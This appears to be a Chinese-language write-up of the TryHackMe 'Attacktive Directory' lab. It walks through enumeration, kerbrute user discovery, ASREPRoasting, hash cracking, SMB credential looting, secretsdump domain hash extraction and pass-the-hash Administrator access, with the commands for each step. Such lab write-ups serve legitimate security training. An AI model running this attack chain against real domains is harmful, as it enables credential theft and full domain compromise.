Attacktive Directory

房间信息#

房间名称 https://tryhackme.com/room/attacktivedirectory
描述 简单域渗透
积分 160💰
作者 BadWiChell

安装 Impacket#

安装 Impacket,这是一组用于处理网络协议的 Python 类。要了解有关 Impacket 的更多信息并了解其部分工具的概览,您可以查看此处
查看 Github 存储库以了解如何安装它。

枚举#

我这里比较常用的是 nmap nmap -sC -sV -oA tcp -vv 10.10.0.144 在 nmap 中我们也发现了主机名与 AD 接下来,我们将机器 ip 写入到/etc/hosts 中

echo <ip> spookysec.local >> /etc/hosts

枚举 2#

使用 enum4linux 我们能够枚举端口 139 和 445。这个工具有一个相当长的输出,因此为了演练我们只发布重要的部分。

enum4linux <spookysec.local>

再一次,我们设法检索了有关完整 AD 域名和机器域名以及一些稍后可能有用的用户名的信息。

通过 kerbrute 枚举用户#

 kerbrute userenum --dc spookysec.local -d spookysec.local userlist.txt

在这个过程中我们发现了 svc-admin@spookysec.local

ASREPRoasting#

从上面输出中,我们能够验证一些活动的用户名。
现在我们已经发现了几个用户名,我们可以使用一种称为 ASREPRoasting 的技术,这意味着如果用户没有选择 Kerberos 预身份验证属性,则可以从该用户检索密码哈希。Impacket 提供了一个名为 GetNPUsers.py 的工具,它可以查询 AD,如果上面的属性不是选择性的,它将导出它们的 TGT。

GetNPUsers.py spookysec.local/svc-admin

靶场中使用的是 hashcat, 由于我的驱动有一些问题,这里使用的是 john。

john --wordlist=passwordlists.txt hash.txt

你也可以使用 hashcat, 模式选择可以查看 wiki 页面

SMB 枚举#

有了用户凭据,我们可以尝试登录 SMB 并探索来自域控制器的任何共享。这可以通过工具 smbclient 实现,确保使用用户“svc-admin”以及之前破解的密码。

smbclient -L spookysec.local --user svc-admin

在浏览了多个共享后,我们找到了文件“backup_credentials.txt”。

smbclient \\\\spookysec.local\\backup --user svc-admin

查看文件的内容,我们可以看到它是用 Base64 编码的。要对其进行解码,只需使用以下命令:

base64 -d backup_credentials.txt

权限提升#

使用备份帐户,我们这次可以使用 Impacket 的另一个工具,称为“secretsdump.py”,我们将能够获取该用户帐户有权访问的所有密码哈希。

secretsdump.py -just-dc backup@spookysec.local

evil-winrm -i spookysec.local -u Administrator -H <NT hash>